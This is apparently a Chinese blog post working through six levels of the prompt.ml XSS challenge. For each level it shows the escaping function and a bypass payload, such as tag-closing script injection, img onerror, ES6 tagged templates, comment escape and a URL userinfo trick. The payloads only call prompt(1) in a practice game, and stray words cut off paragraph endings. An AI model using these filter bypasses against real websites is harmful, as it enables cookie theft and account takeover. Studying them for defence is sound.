XSS_跨站腳本攻擊

前段時間在網上看到一個網址,好奇之下進去看了看。勝利的條件是你錄入一個串,讓其調用prompt(1) 。發現裏面有好多想不到的東西,今天終於清閒了來這裏說說XSS。javascript

XSS 原理

惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。html

XSS 常見場景

一些私人的博客,攻擊者惡意評論,彈出alert,這種充其量也就是一個玩笑。可是若是是盜竊cookie異常提交請求,這些就比較難受了。java

prompt(1)

chrome 版本 62.0.3202.75(正式版本) (64 位)chrome

function escape(input) {
   // warm up
   // script should be executed without user interaction
   return '<input type="text" value="' + input + '">';
}

第一個
這是一個開胃菜,沒有作任何校驗,這種不設防的在如今已經不多了。他把值直接拼入字符串,組成一個DOM input標籤,那咱們只要正確的把標籤閉合掉就能夠調用了。
"><script>prompt(1)</script>,拼出來的字符串爲<input type="text" value=""><script>prompt(1)</script>">,這樣就等於插入了咱們的代碼。瀏覽器

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>'; 
}

第二個
這個已經提高難度了,/<\/?[^>]+>/gi匹配<>標籤內的全部東西,如輸入<script>prompt(1)</script>轉換事後會出現prompt(1),內容裏面的標籤被替換掉了。因此這個咱們去嘗試不閉合標籤,讓瀏覽器本身去容錯。
<img src onerror="prompt(1);" 該方法經過img加載src失敗會調用onerror的想法。markdown

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

第三個
這個就有點略坑了/[=(]/g把因此的=號(號都替換掉了,這樣咱們嘗試調用的時候就不能使用這些東西了。使用的方法是經過模板字符串標籤模板,這個ES6的特性。<script>prompt`1`</script>看樣子咱們這樣寫就能夠了,可是爲何沒有生效呢?下面的圖能夠看出來,這樣的話傳入的是字符串,判斷是不經過的,因此咱們要修改一下<script>prompt.call${1}</script>,這樣就能夠跑過驗證了。(話說markdown如何在``裏面寫``)
clipboard.pngcookie

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');
    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

第四個
這個看上去是把你寫的內容都放在了html的註釋語句裏面,而且用/->/g替換了一把。我想到的方案有條件註釋,可是條件註釋這是IE的東西,咱們就先不測試了。
--!><img src onerror="prompt(1);" 使用這個能夠關閉網絡

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i
            .test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

第五個
這個是經過僞造url,咱們使用的是訪問帶有用戶名、密碼保護的 URL來僞造。
http://prompt.ml%2f@urlurl爲一個網絡地址引用的js,內容爲prompt(1)。原本想嘗試一下data:text/html,<html><script>prompt(1)</script></html>可是沒有成功,而後javascript:;about:blank也沒有經過,挺失落。
clipboard.pngapp

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');
    return '<input value="' + input + '" type="text">';
}

第六個
/>|on.+?=|focus/gi替換了>onxxxx=focus。經過input特殊的type類型。
`"type=image src onerror
="prompt(1)`測試

就先寫到這裏吧。等看有時間再把東西補一補。

相關文章
相關標籤/搜索